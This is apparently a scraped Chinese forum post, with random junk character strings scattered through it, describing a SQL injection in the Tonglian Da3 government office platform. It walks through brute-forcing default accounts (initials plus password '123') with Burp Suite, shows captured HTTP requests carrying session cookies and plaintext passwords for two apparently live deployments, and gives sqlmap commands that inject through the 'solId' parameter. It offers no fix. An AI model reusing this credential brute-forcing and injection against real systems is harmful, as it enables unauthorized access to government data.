同联Da3协同办公平台前台通用sql injection漏洞

admin

平台简介： % v5 z: h& k$ y+ c

- L- f/ h% }$ C( U2 J Q. ?# G

 

0 e, Y8 V% h% q9 D. Y8 J

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
- a8 r7 S. b+ t, X同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

  ' M B9 f3 U' s8 U2 U" M1 N

* D1 D7 p7 S! r0 X% M) i( S

) R$ C M. ?# z 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

( {7 K. \& ?$ }/ D, u$ b

+ e% Y! m- d2 K9 P( C/ |' k  

( y1 }$ \& V+ e' W7 P5 L' H; g

7 H# u9 S# g6 S' C' ? http://1.1.1.1:7197/cap-aco/#（案例2-） 9 C1 h! f' B! j; X

- N* K& x2 t3 e* C$ Y; X http://www.XXOO.com （案例1-官网网站） ) V# g' l; h1 _9 m- V

 

$ B! Z. v1 J% Q4 e! q# h6 o

) z, Z" h; x, t6 Z& B) a$ g5 G 漏洞详情: - P _% y- Z! b

7 Y ]+ {. k7 V1 [+ r

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

" u1 E$ c# i1 L6 {+ z

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 5 T1 |! x) D$ e V) F' P

 

% `1 V2 N2 q' o4 G4 _+ p; R( W+ l! h

; n' w: X" c5 \/ C: p   ' M) m! `; B- N) ~- f- b! s$ Q

& \# f4 k6 b( J status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

1、案例1-官方网站

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 ! D8 o- N8 `- ^& A f9 \. a

2 k& O9 {# m; I. P+ y; K

9 I% r9 k- F: f- ^! A% r Host: www.XXOO.com

Proxy-Connection: Keep-Alive

$ ^ ]1 t2 E+ f! U: V# A Accept: application/json, text/javascript, */*; q=0.01 ) M/ N. T& G% \1 e/ d+ o

6 V& _0 _" J. }+ w Accept-Language: zh-CN 4 A9 Y* N+ P. \5 P

' x' V; z6 m& z1 Q, o

1 D) _+ p' ]& G6 F3 I Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

4 A( t1 T0 y: A+ R5 Q

1 N _- a7 _/ a& r X-Requested-With: XMLHttpRequest

# s' Y2 }( Y% x, O" k& E

5 F5 u' |0 P+ q" H) D, | Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ) U* g: N' [8 m, s2 c' _

% W: `) F3 G& l

4 z+ g2 H6 P- S; r, C& C% O' M4 B" E Accept-Encoding: gzip, deflate, sdch

: |9 e& q( D/ A5 x+ S2 A8 t

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

8 I7 V7 e9 ?& X) u! O) z 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: * Y p/ _5 U1 b9 Y y- T3 |+ l

/ P ~' M8 _% I8 u ]: A

3 g' T8 z6 B+ O9 f5 O7 h- r8 E   & F" O) E( c8 I7 `7 R

  ) i, d9 I* K* P( j

8 M% F+ r- ^* z

! w1 ?+ z- n+ x5 |) l  

8 o7 g& v" G, E) t   ; E, q* m3 C1 P8 n/ i

 

& ` Z7 h# a9 h' [

' ~; @/ z# N* d% X* E 2、案例2-某天河云平台

2 E+ j' M( P$ M8 S) X

; B# h* b4 z. V' f GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

+ q+ m6 k, F9 F( u

2 g! @9 U2 [& s- W6 T Host: 1.1.1.:7197

# F4 e* M4 y( `* M: q4 V& c Accept: application/json, text/javascript, */*; q=0.01 4 R- n8 _" P/ P3 z9 l- A

) T3 B: U: l- o

* |0 C+ z& x8 j. i# A X-Requested-With: XMLHttpRequest $ k1 `( o0 Z2 e" F2 y7 M$ u" I

9 ?4 S0 h% o* j# i) x) A+ L/ }

$ w- ~( P" o: N8 Z. \9 m User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

: D( D5 ]( j7 b) \/ v Content-Type: application/json ; j a" {. k0 E

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 , } `9 _$ k- A; y

Accept-Language: zh-CN,zh;q=0.8

$ Z7 x' g2 n4 m6 s Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 " x) ~/ E1 v F" ^

& w& q! [- A, Z

; q3 [5 Z' A! g$ }4 C Connection: close

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 3 Z2 j8 H3 z0 w1 I2 R3 ~

. b) |7 o8 M+ S! L: |   $ A2 L+ g6 v! @- G

: [0 f; d4 ~7 C8 L

# b+ G% Z8 S$ e% U' G$ q
; K+ K# D. U& h2 Y& V- Q